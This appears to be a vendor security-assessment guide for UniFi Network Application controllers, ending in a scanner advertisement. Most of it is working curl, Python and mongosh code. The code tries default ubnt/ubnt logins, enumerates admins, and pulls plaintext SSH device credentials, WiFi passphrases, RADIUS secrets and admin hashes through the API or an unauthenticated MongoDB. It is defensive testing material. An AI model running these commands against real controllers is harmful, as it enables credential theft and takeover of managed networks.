UniFi Network Application (formerly UniFi Controller) is Ubiquiti's self-hosted network management platform used in millions of home lab, enterprise, and ISP deployments to manage APs, switches, security gateways, and cameras. Compromising the UniFi controller gives an attacker full visibility into and control over the entire managed network. Critical security areas: UniFi historically ran MongoDB on port 27117 without authentication on older versions, allowing direct database access to extract all credentials; the UniFi REST API provides full site configuration including SSH device credentials used for AP and switch adoption; UniFi backup files (.unf) contain all site data including credentials in a format that can be directly imported; device inform URLs can be manipulated via DNS or DHCP spoofing to redirect devices to a rogue controller; and the UniFi controller web UI default admin credentials are sometimes left as ubnt/ubnt on unconfigured installs. This guide covers systematic UniFi security assessment.
# UniFi Network Application — authentication testing
UNIFI_URL="https://unifi.example.com:8443"
# Test default ubnt/ubnt credentials (older installations)
LOGIN_RESULT=$(curl -sk -c /tmp/unifi_cookies.txt \
-X POST "${UNIFI_URL}/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"ubnt","password":"ubnt"}' 2>/dev/null)
echo "$LOGIN_RESULT" | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
meta = d.get('meta',{})
if meta.get('rc') == 'ok':
print('DEFAULT CREDENTIALS VALID: ubnt/ubnt')
else:
print(f'Failed: {meta.get(\"msg\",d)}')
except Exception as e:
print(f'Parse error: {e}')
" 2>/dev/null
# List all admin accounts after successful login
curl -sk -b /tmp/unifi_cookies.txt \
"${UNIFI_URL}/api/s/default/cmd/sitemgr" \
-H "Content-Type: application/json" \
-d '{"cmd":"get-admins"}' 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
admins = d.get('data',[])
print(f'Admin accounts: {len(admins)}')
for a in admins:
print(f' {a.get(\"name\")} email={a.get(\"email\")} role={a.get(\"role\")} last_login={a.get(\"last_site_login\")}')
except Exception as e:
print(f'Error: {e}')
" 2>/dev/null
# UniFi REST API — full site and device configuration access
UNIFI_URL="https://unifi.example.com:8443"
SITE="default"
# Get all managed devices — reveals all APs, switches, gateways with config
curl -sk -b /tmp/unifi_cookies.txt \
"${UNIFI_URL}/api/s/${SITE}/stat/device" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
devices = d.get('data',[])
print(f'Managed devices: {len(devices)}')
for dev in devices:
print(f' {dev.get(\"name\",\"unnamed\")} model={dev.get(\"model\")} ip={dev.get(\"ip\")} mac={dev.get(\"mac\")} version={dev.get(\"version\")}')
" 2>/dev/null
# Get site settings — includes SSH device credentials for adoption
curl -sk -b /tmp/unifi_cookies.txt \
"${UNIFI_URL}/api/s/${SITE}/get/setting/mgmt" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
data = d.get('data',[])
for setting in data:
if setting.get('key') == 'mgmt':
print('DEVICE MANAGEMENT CREDENTIALS:')
print(f' SSH username: {setting.get(\"x_ssh_username\")}')
print(f' SSH password: {setting.get(\"x_ssh_password\")}') # plaintext
print(f' SSH auth key: {str(setting.get(\"x_ssh_keys\",\"\"))[:60]}')
except Exception as e:
print(f'Error: {e}')
" 2>/dev/null
# Get all WiFi networks — includes PSK passwords and enterprise RADIUS secrets
curl -sk -b /tmp/unifi_cookies.txt \
"${UNIFI_URL}/api/s/${SITE}/rest/wlanconf" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
wlans = d.get('data',[])
print(f'WiFi networks: {len(wlans)}')
for w in wlans:
print(f' SSID: {w.get(\"name\")} security={w.get(\"security\")}')
if w.get('x_passphrase'):
print(f' PSK: {w.get(\"x_passphrase\")}')
if w.get('x_radius_auth_secret'):
print(f' RADIUS secret: {w.get(\"x_radius_auth_secret\")}')
" 2>/dev/null
# UniFi MongoDB — older versions ran without authentication on port 27117
# Affects UniFi Controller < 7.x on self-hosted installations
UNIFI_HOST="unifi.example.com"
MONGO_PORT=27117
# Check if MongoDB is accessible without authentication
mongosh --host "${UNIFI_HOST}" --port "${MONGO_PORT}" --eval "
db.adminCommand({listDatabases:1})
" 2>/dev/null | grep -q 'databases' && echo "MONGODB ACCESSIBLE WITHOUT AUTHENTICATION"
# If accessible, extract admin credentials from ace database
mongosh --host "${UNIFI_HOST}" --port "${MONGO_PORT}" ace --eval "
db.admin.find({},{name:1,email:1,x_shadow:1,last_login:1}).forEach(function(u) {
print('Admin: ' + u.name + ' email=' + u.email + ' hash=' + u.x_shadow);
});
" 2>/dev/null
# Extract WiFi PSK passwords from device configuration
mongosh --host "${UNIFI_HOST}" --port "${MONGO_PORT}" ace --eval "
db.wlanconf.find({},{name:1,x_passphrase:1,security:1}).forEach(function(w) {
print('SSID: ' + w.name + ' PSK=' + w.x_passphrase + ' security=' + w.security);
});
" 2>/dev/null
# Extract device SSH credentials from site settings
mongosh --host "${UNIFI_HOST}" --port "${MONGO_PORT}" ace --eval "
db.setting.findOne({key:'mgmt'},{x_ssh_username:1,x_ssh_password:1})
" 2>/dev/null
ss -tlnp | grep 27117 that the port is not exposed externally| Security Test | Method | Risk |
|---|---|---|
| MongoDB unauthenticated access (older versions) | mongosh --host unifi-host --port 27117 ace — on UniFi Controller <7.x, extracts all admin password hashes, WiFi PSKs, and SSH device credentials directly from the database without any authentication | Critical |
| SSH device credential extraction via API | GET /api/s/default/get/setting/mgmt — returns x_ssh_username and x_ssh_password for device management in plaintext; these credentials provide SSH access to all managed APs and switches | Critical |
| WiFi PSK and RADIUS secret exposure | GET /api/s/default/rest/wlanconf — returns x_passphrase (PSK) for all WPA2-Personal networks and x_radius_auth_secret for all WPA2-Enterprise networks; enables connection to any managed WiFi network | High |
| Default ubnt/ubnt admin credentials | POST /api/login with {"username":"ubnt","password":"ubnt"} — on unconfigured or factory-reset installs; successful response confirms full controller access with default credentials | Critical (on unconfigured installs) |
| Backup file credential extraction | Access to .unf backup file — ZIP archive containing ace.json with all site data; extract and parse to recover all credentials without interacting with the live controller | High |
Ironimo tests UniFi Network Application deployments for MongoDB unauthenticated access on port 27117, default ubnt/ubnt credential testing, SSH device credential extraction via the management API, WiFi PSK and RADIUS secret exposure across all configured WLANs, admin account enumeration, 2FA configuration audit, and backup file security assessment.
Start free scan